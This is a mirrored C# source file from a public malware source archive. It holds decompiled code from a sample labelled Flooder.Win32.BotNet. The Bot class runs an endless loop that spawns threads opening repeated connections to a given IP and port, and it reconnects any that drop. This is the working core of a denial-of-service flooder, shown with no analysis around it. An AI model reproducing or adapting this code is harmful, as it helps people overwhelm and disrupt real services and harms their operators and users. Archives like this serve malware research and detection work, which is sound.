mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 11:26:11 +00:00
102 lines
3.1 KiB
C#
102 lines
3.1 KiB
C#
|
// Decompiled with JetBrains decompiler
|
|||
|
// Type: Bot1.Bot
|
|||
|
// Assembly: Bot1, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
|||
|
// MVID: 20DD3A26-8F2D-4308-84CA-4E2001F5A7BC
|
|||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Flooder.Win32.BotNet-11803bea825d1019c1c625a35ddac314d1b24b11958883eb4cc10b0fde3423f3.exe
|
|||
|
|
|||
|
using System;
|
|||
|
using System.Collections;
|
|||
|
using System.Threading;
|
|||
|
|
|||
|
namespace Bot1
|
|||
|
{
|
|||
|
public class Bot
|
|||
|
{
|
|||
|
private int type;
|
|||
|
private int port;
|
|||
|
private string ip;
|
|||
|
|
|||
|
public Bot(string _ip, int _port, int _type)
|
|||
|
{
|
|||
|
this.type = _type;
|
|||
|
this.ip = _ip;
|
|||
|
this.port = _port;
|
|||
|
}
|
|||
|
|
|||
|
public void Start()
|
|||
|
{
|
|||
|
int num1 = 0;
|
|||
|
ArrayList arrayList1 = new ArrayList();
|
|||
|
ArrayList arrayList2 = new ArrayList();
|
|||
|
while (true)
|
|||
|
{
|
|||
|
switch (this.type - 1)
|
|||
|
{
|
|||
|
case 0:
|
|||
|
if (num1 == 0)
|
|||
|
{
|
|||
|
try
|
|||
|
{
|
|||
|
arrayList2.Add((object) new Connection(arrayList2.Count + 1, this.ip, this.port));
|
|||
|
arrayList1.Add((object) new Thread(new ThreadStart(((Connection) arrayList2[arrayList2.Count - 1]).Connect)));
|
|||
|
((Thread) arrayList1[arrayList1.Count - 1]).Start();
|
|||
|
}
|
|||
|
catch (Exception ex)
|
|||
|
{
|
|||
|
}
|
|||
|
}
|
|||
|
for (int index = 0; index < arrayList2.Count; ++index)
|
|||
|
{
|
|||
|
((Connection) arrayList2[index]).UpdateStatus();
|
|||
|
if (((Connection) arrayList2[index]).status == 2)
|
|||
|
{
|
|||
|
try
|
|||
|
{
|
|||
|
arrayList2[index] = (object) new Connection(index, this.ip, this.port);
|
|||
|
arrayList1[index] = (object) new Thread(new ThreadStart(((Connection) arrayList2[index]).Connect));
|
|||
|
((Thread) arrayList1[index]).Start();
|
|||
|
}
|
|||
|
catch (Exception ex)
|
|||
|
{
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
int num2 = 0;
|
|||
|
int num3 = 0;
|
|||
|
num1 = 0;
|
|||
|
for (int index = 0; index < arrayList2.Count; ++index)
|
|||
|
{
|
|||
|
switch (((Connection) arrayList2[index]).status)
|
|||
|
{
|
|||
|
case 0:
|
|||
|
++num2;
|
|||
|
break;
|
|||
|
case 1:
|
|||
|
++num3;
|
|||
|
break;
|
|||
|
case 2:
|
|||
|
++num1;
|
|||
|
break;
|
|||
|
}
|
|||
|
}
|
|||
|
Console.WriteLine("unknown = " + num2.ToString() + "; connected = " + num3.ToString() + "; disconnected = " + num1.ToString());
|
|||
|
continue;
|
|||
|
case 1:
|
|||
|
try
|
|||
|
{
|
|||
|
arrayList1.Add((object) new Thread(new ThreadStart(new Connection(arrayList1.Count + 1, this.ip, this.port).Connect)));
|
|||
|
((Thread) arrayList1[arrayList1.Count - 1]).Start();
|
|||
|
}
|
|||
|
catch (Exception ex)
|
|||
|
{
|
|||
|
}
|
|||
|
Console.WriteLine("attempts = " + arrayList1.Count.ToString());
|
|||
|
continue;
|
|||
|
default:
|
|||
|
continue;
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|